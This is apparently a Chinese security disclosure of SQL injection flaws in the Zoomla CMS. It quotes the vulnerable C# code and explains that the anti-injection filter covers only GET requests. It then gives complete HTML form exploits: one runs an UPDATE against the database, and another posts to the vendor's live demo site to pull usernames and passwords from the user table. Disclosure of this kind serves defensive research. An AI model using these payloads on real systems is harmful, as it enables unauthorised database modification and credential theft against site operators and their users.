漏洞作者: Damo
注入点一 :
文件
User/UserZone/StructView.aspx
参数:ID
后台代码片段:
public void Page_list() { ..... DataTable dataTable = this.user.Sel("StructureID like '%," + base.Request.QueryString["ID"] + ",%'", ""); ....... }
此处可确定此ID参数是经过URL传值
逐浪之前的防注入调整了
那下面通过另一种方式绕过
那么看Global
private void Application_BeginRequest(object sender, EventArgs e) { if (base.Request.RequestType.ToUpper() == "GET" && ZoomlaSecurityCenter.GetData()) { function.WriteMessage("产生错误的可能原因:你提交的参数不正确,包含恶意字符串,或检查系统是否开启了SQL防注入功能!", "", "非法SQL注入或存储!"); } if (base.Request.HttpMethod.ToUpper() == "POST" && HttpContext.Current.Request.Files.Count > 0) { ZoomlaSecurityCenter.CheckUpladFiles(); } .... }
由此可得出结论 :SQL注入的防御只对GET方式进行了过滤 而 POST YY了
那么 利用方式如下:
<form action="http://192.168.10.55:9992/User/UserZone/StructView.aspx?ID=SA';update ZL_3DMusic set MusicName='wooyun' where id=1 and ',%'='" method="post"> <input id="Submit1" type="submit" value="submit" /> </form>
此处可修改任何表 这里测试的是表 ZL_3DMusic 的字段 MusicName 为wooyun
注:此注入点在官网Demo中已被删除 ,但是官方提供的下载中依然存在
注入点二中则包含两个小侏儒:
文件 :
/User/userzone/logmanage/logsearchresult.aspx
代码片段:
问题出现在页面后台方法
这个方法中的 是小侏儒1 函数名称
OK_Click()
参数
string text2 = base.Request.Form["age1"]; string text3 = base.Request.Form["age2"]; string text4 = base.Request.Form["sex"]; string text5 = base.Request.Form["ltype"];
问题代码1 text = text + " and userSex=" + text4; 问题代码2 if (text5 != "") { text = text + " and logtypeid='" + text5 + "'"; }
这个方法中的 是小侏儒2 函数名称
OK2_Click()
参数:
string text2 = base.Request.Form["sType"]; string text3 = base.Request.Form["TypeStr"]; 问题代码: 问题代码1 if (!string.IsNullOrEmpty(text3)) { text = text + " and username='" + text3.Trim() + "'"; } 问题代码2 if (!string.IsNullOrEmpty(text3)) { text = text + " and LogTitle='" + text3.Trim() + "'"; }
利用代码:如下
<form action="http://demo.zoomla.cn/User/userzone/logmanage/logsearchresult.aspx" method="post"> <input type="text" name="age1" id="age1" value="1" /> <input type="text" name="age2" id="age2" value="1" /> <input type="text" name="sex" id="sex" value="1" /> <input type="text" name="ltype" id="ltype" value="6F9619FF-8B86-D011-B42D-00C04FC964FF' and 1=( select top 1 STUFF( UserPwd, 1, 0, UserName) from dbo.ZL_User )--" /> <input id="Submit1" type="submit" value="submit" /> </form>
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论